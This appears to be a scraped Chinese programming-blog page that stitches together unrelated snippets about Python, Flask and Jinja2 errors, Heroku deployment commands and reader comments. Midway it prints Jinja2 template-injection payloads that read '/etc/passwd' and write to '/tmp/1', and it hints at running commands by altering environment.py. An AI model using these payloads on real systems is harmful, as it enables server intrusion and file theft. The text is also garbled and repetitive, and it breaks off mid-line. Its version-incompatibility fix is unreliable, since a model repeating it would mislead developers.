在使用 render_template 渲染页面时，抛出 AttributeError: 'Token' object has no attribute 'test' 异常。

程序环境为：

Python3.6.0
Flask 1.1.0
Jinja2 3.0.1
Python3.6.0与Jinja2 3.0.1不兼容
 
升级Python解释器，使用3.6.0以上版本。
 降级Jinja2 ，使用3.0.1以下版本。
                    错误现象在使用render_template渲染页面时，抛出AttributeError: 'Token' object has no attribute 'test'异常。程序环境为：Python3.6.0Flask 1.1.0Jinja2 3.0.1错误原因Python3.6.0与Jinja2 3.0.1不兼容解决方法升级Python解释器，使用3.6.0以上版本。降级Jinja2 ，使用3.0.1以下版本。...
 1. $ heroku create <app>
2. $ pip freeze >> requirements.txt
3. $ heroku run python server.py deploy
4. $ heroku ps:scale web=1
5. $ heroku restart
				
app.route和app.add_url_ruleapp.add_url_rule
这个方法是用来添加url与视图函数的映射。如果没有填写endpoint那么会默认使用view_func的名字来作为endpoint。
因此在使用url_for的时候，就要看在映射的时候有没有传递endpoint参数，如果传递了，那么就使用endpoint指定的字符串。
				
定义一个类、方法，在多次运行后发现系统会提示这个类，没有对应的此方法，如下图
至于为什么会出现此问题，小编居然没有发现原因。如果类不能以Test开头命名，但是有时候又能执行成功，所以这个理由解释不通。
那出现上述问题时，小编是如何解决的呢？
修改一下类名或者方法名，能暂时性的解决此问题，如果永久性的解决，欢迎各位大佬指教，十分感谢。
在使用jupyter时，抛出AttributeError: ‘Token’ object has no attribute 'test’异常。
程序环境为：
Python3.6.0
Jinja2 3.0.1
错误原因
Python3.6.0与Jinja2 3.0.1不兼容
解决方法
升级Python解释器，使用3.6.0以上版本。
降级Jinja2 ，使用3.0.1以下版本。
Traceback (most recent call last):
File “D:/flaskProject/test.py”, line 35, in test
pool.apply(self.out, args=(i,))
File “Python37-32\lib\multiprocessing\pool.py”, line 261, in apply
return self.apply_async(func, args, kwds).get()
File “\lib\multiprocessing\pool.py”, line 657, in get
raise se
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
#写文件：
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
也可以通过写jinja2的environment.py执行命令; jinja2的模板会load这个module，而且这个en
大部分内容借鉴了前辈的经验，在此基础之上我有进行了适合自己当前代码情况的改进。
主要的改进就是将树中token输出了出来，然后用自己的smithwaterman算法进行相似度的计算。
虽然注释不多，但是代码整体比较容易理解。
import javalang
from javalang.ast import Node
import os
from anytree import AnyNode, RenderTree
# 代码数据预处理
programfile = open("C:/Users/6
				
关于AttributeError: type object ‘XXXXXX’ has no attribute 'name’的报错的原因，先运行运行一段代码
class Person(object):
    def __init__(self,name):
        self.name=name
    def play(self):
        print('工作')
if __name__ == '__main__':
    p=Person('KB')
    p.play
				
当您尝试将使用 Flask 框架编写的 Python 应用程序序列化（即将其转换为 pickle 格式）时，可能会遇到 Flask Attribute Error：“无法 pickel 本地对象'run.<locals>. server_forever'”。这是因为 Flask 的本地对象无法被序列化。
更具体地说，这个错误是在使用 Flask 内置发行程序时出现的。发行程序使用 multiprocessing 库将应用程序作为独立进程运行，但 multiprocessing 库依赖于 pickle 库来序列化和传递进程之间的数据。由于 Flask 中的本地对象无法被 pickle 序列化，因此会引发 Attribute Error。
解决此错误的方法是使用不同的服务器，例如 Gunicorn 或 uWSGI。这些服务器不依赖于 multiprocessing 库或 pickle 序列化，并且可以与 Flask 应用程序兼容。
总之，当您遇到 Flask Attribute Error：“无法 pickel 本地对象'run.<locals>. server_forever'”时，您可以使用不同的服务器来解决此问题。这么做将避免对 Flask 的本地对象进行序列化，并使您能够顺利地运行您的 Python 应用程序。
                真正解决Windows下UnicodeDecodeError: ‘gbk‘ codec can‘t decode byte 0xff in position 0错误的方法
                    My park: 
                    我直接用utf-8就能读，用chardet判断的是ascii
                真正解决Windows下UnicodeDecodeError: ‘gbk‘ codec can‘t decode byte 0xff in position 0错误的方法
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                真正解决Windows下UnicodeDecodeError: ‘gbk‘ codec can‘t decode byte 0xff in position 0错误的方法
                    橘子小白不爱学: 
                    +1，我也是，请问解决了吗
                Pandas 简明教程（二）：读取文件、DataFrame常用属性/方法/条件过滤/聚合/分组
                    算力鬼才信: 
                    教程干净明了